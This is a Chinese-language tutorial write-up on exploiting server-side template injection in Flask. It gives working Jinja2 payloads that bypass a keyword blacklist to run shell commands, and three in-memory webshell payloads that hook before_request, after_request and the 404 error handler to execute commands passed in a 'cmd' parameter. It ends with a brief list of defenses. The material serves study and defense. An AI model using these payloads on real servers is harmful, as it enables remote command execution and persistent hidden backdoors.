对ssti无回显的新版内存马学习
字数 1309 2025-08-22 12:22:42
Flask SSTI漏洞利用与内存马技术详解
一、漏洞环境分析
1.1 漏洞代码概述
文章展示了一个存在SSTI(服务器端模板注入)漏洞的Flask应用程序,主要包含以下关键部分:
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>' + html.escape(f.read()) + '</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
1.2 黑名单分析
黑名单包含以下关键词:
['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
这些限制旨在防止直接执行系统命令和导入危险模块。
二、传统SSTI绕过技术
2.1 字符串拼接绕过
通过Jinja2的模板特性构造被禁止的关键词:
{% set gl = '_' * 2 + 'globals' + '_' * 2 %}
{% set bu = '_' * 2 + 'builtins' + '_' * 2 %}
{% set im = '_' * 2 + 'i''mport' + '_' * 2 %}
{% set hc = 'so'[::-1] %}
{{ g.pop[gl][bu][im](hc)['p''open']('cat+/f*>>app.py').read() }}
2.2 技术原理
-
构造
__globals__和__builtins__:- 使用字符串拼接绕过
__检测 '_' * 2 + 'globals' + '_' * 2→__globals__
- 使用字符串拼接绕过
-
构造
__import__:- 使用字符串拼接和分割绕过
import检测 'i''mport'→'import'
- 使用字符串拼接和分割绕过
-
构造
os模块:- 使用字符串反转
'so'[::-1]→'os'
- 使用字符串反转
-
执行命令:
- 通过
os.popen执行系统命令 - 使用
'p''open'绕过popen检测
- 通过
三、内存马技术详解
3.1 基于before_request的内存马
3.1.1 原理分析
before_request装饰器会在每个请求到达视图函数前执行特定代码:
@app.before_request
def before_request():
# 这里的代码将在每个请求处理之前执行
g.start_time = time.time()
print("This runs before each request.")
3.1.2 攻击Payload
{{ url_for.__globals__['__builtins__']['eval'](
"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen('dir').read())"
)}}
3.1.3 技术要点
- 通过
url_for.__globals__访问全局变量 - 使用
eval执行动态代码 - 向
before_request_funcs列表添加匿名函数 - 匿名函数中执行系统命令
3.2 基于after_request的内存马
3.2.1 原理分析
after_request在请求处理完成后执行,可以修改响应:
@app.after_request
def after_request(response):
# 这里的代码将在每个请求处理完成后执行
return response
3.2.2 攻击Payload
{{ url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",
{'request': url_for.__globals__['request'], 'app': url_for.__globals__['current_app']}
)}}
3.2.3 技术要点
- 通过URL参数
cmd接收命令 - 使用
exec动态执行代码 - 创建全局变量
CmdResp存储命令结果 - 使用
make_response封装响应
3.3 基于errorhandler的内存马
3.3.1 原理分析
errorhandler用于处理特定HTTP错误:
@app.errorhandler(404)
def page_not_found(e):
return '404 Error'
3.3.2 攻击Payload
exec(
"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()"
)
3.3.3 技术要点
- 获取404错误的异常类和状态码
- 修改
error_handler_spec字典 - 设置自定义错误处理函数
- 通过URL参数
cmd接收命令
四、防御措施
-
输入验证:
- 严格限制模板中可以使用的变量和方法
- 使用白名单而非黑名单
-
沙箱环境:
- 使用安全的模板引擎如Jinja2的沙箱模式
-
权限控制:
- 限制应用程序运行权限
- 禁用危险的内置函数
-
代码审计:
- 定期检查应用程序的请求处理逻辑
- 监控异常行为
-
更新框架:
- 保持Flask和相关依赖的最新版本
五、总结
本文详细分析了Flask SSTI漏洞的利用技术,包括:
- 传统黑名单绕过方法
- 三种内存马技术:
before_request内存马after_request内存马errorhandler内存马
这些技术展示了攻击者如何在无回显环境下实现持久化访问和控制服务器。防御此类攻击需要综合运用输入验证、权限控制和持续监控等多种安全措施。